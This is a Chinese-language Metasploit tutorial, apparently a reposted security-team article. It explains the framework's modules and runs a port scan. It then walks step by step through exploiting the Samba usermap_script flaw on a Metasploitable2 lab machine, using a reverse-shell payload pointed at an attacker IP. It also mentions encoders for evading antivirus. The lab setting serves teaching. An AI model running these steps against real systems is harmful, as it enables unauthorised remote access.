1 metasploit介绍
metasploit框架(Metasploit Framework,MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模块化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。
metasploit可向后端模块提供多种用来控制测试的接口(如控制台、web、CLI)。通过控制台接口,还可以访问和使用所有metasploit的插件,例如payload、利用模块、post模块等。此外,metasploit还有第三方程序的接口,如nmap和sqlmap。
启动命令:
msfconsole
2 模块介绍
MSF框架有多个模块组成,各个模块之间功能如下:
1.auxiliary(辅助模块)该模块不会直接在测试者和目标主机之间建立访问,他们只会负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试2.Exploit(漏洞利用模块)包括针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码3.Payload(攻击模块)用于在目标系统上运行任意命令或者执行特定代码,在metasploit中可以自由地选择、传送和植入4.Post(后期渗透模块)主要用于在取得目标系统远程控制权后,进行一系列地后渗透攻击动作,如获取敏感信息、实施跳板攻击等。5.Encoders(编码工具模块)负责免杀
3 渗透攻击步骤
1.扫描目标系统,寻找可用漏洞2.选择并配置一个漏洞利用模块3.选择并配置一个攻击载荷模块4.选择一个编码技术,用来绕过杀软5.渗透攻击
4 扫描端口演示
输入msfconsole启动
# 搜索可用的端口扫描模块
search portscan
# 利用tcp扫描模块
use auxiliary/scanner/portscan/tcp
# 查看参数
show options
# 设置IP
set rhosts 192.168.160.133
图2 使用模块并设置参数
# 启动扫描
run
图3 开始扫描
5 打靶
靶机是metasploitable2
Metasploitable2虚拟系统是一个特别制作的ubuntu操作系统,本身设计目的是作为安全工具测试和演示常见漏洞攻击的环境。其中最重要的是可以用来作为MSF攻击用的靶机。
开放了很多的高危端口如21、23、445等,而且具有很多未打补丁的高危漏洞, 如Samba MS-RPC Shell命令注入漏洞等,而且对外开放了很多服务,并且数据库允许外联等。系统中的用户口令均为弱口令。系统搭载了DVWA、Mutillidae等Web漏洞演练平台。
# 使用nmap扫描并查看系统开放端口和相关应用程序
nmap -sV 192.168.160.136
图3 扫描
发现主机运行着samba 3.x服务
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
# 搜索samba的漏洞利用模块
search samba
图4 搜索samba
接下来选择exploit/multi/samba/usermap_script此模块
# 查看模块的详细信息
info exploit/multi/samba/usermap_script
图5 模块详细信息
# 使用模块
use exploit/multi/samba/usermap_script
# 查看攻击载荷
show payloads
图6 查看攻击载荷
这里使用命令选择基础的cmd/unix/reverse
# 选择payload
set payload cmd/unix/reverse
# 设置被攻击的IP
set rhost 192.168.160.136
# 设置漏洞利用的端口l
set rport 445
# 设置攻击者的IP
set lhost 192.168.160.132
# 查看设置
show options
图7 设置参数并查看
# 发起攻击
run或exploit
MSF攻击成功后,会获取目标主机的shell,为了验证该shell是目标主机的,阔以查询主机名,ip地址等
图8 成功攻击
防御方法:
samba服务漏洞发生在3.0.20~3.0.25rc3中,当使用非默认用户名映射脚本时配置时,通过指定一个用户名包含shell元字符,攻击者可以执行任意命令,
原文始发于微信公众号(FACday安全团队):Metasploit技术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论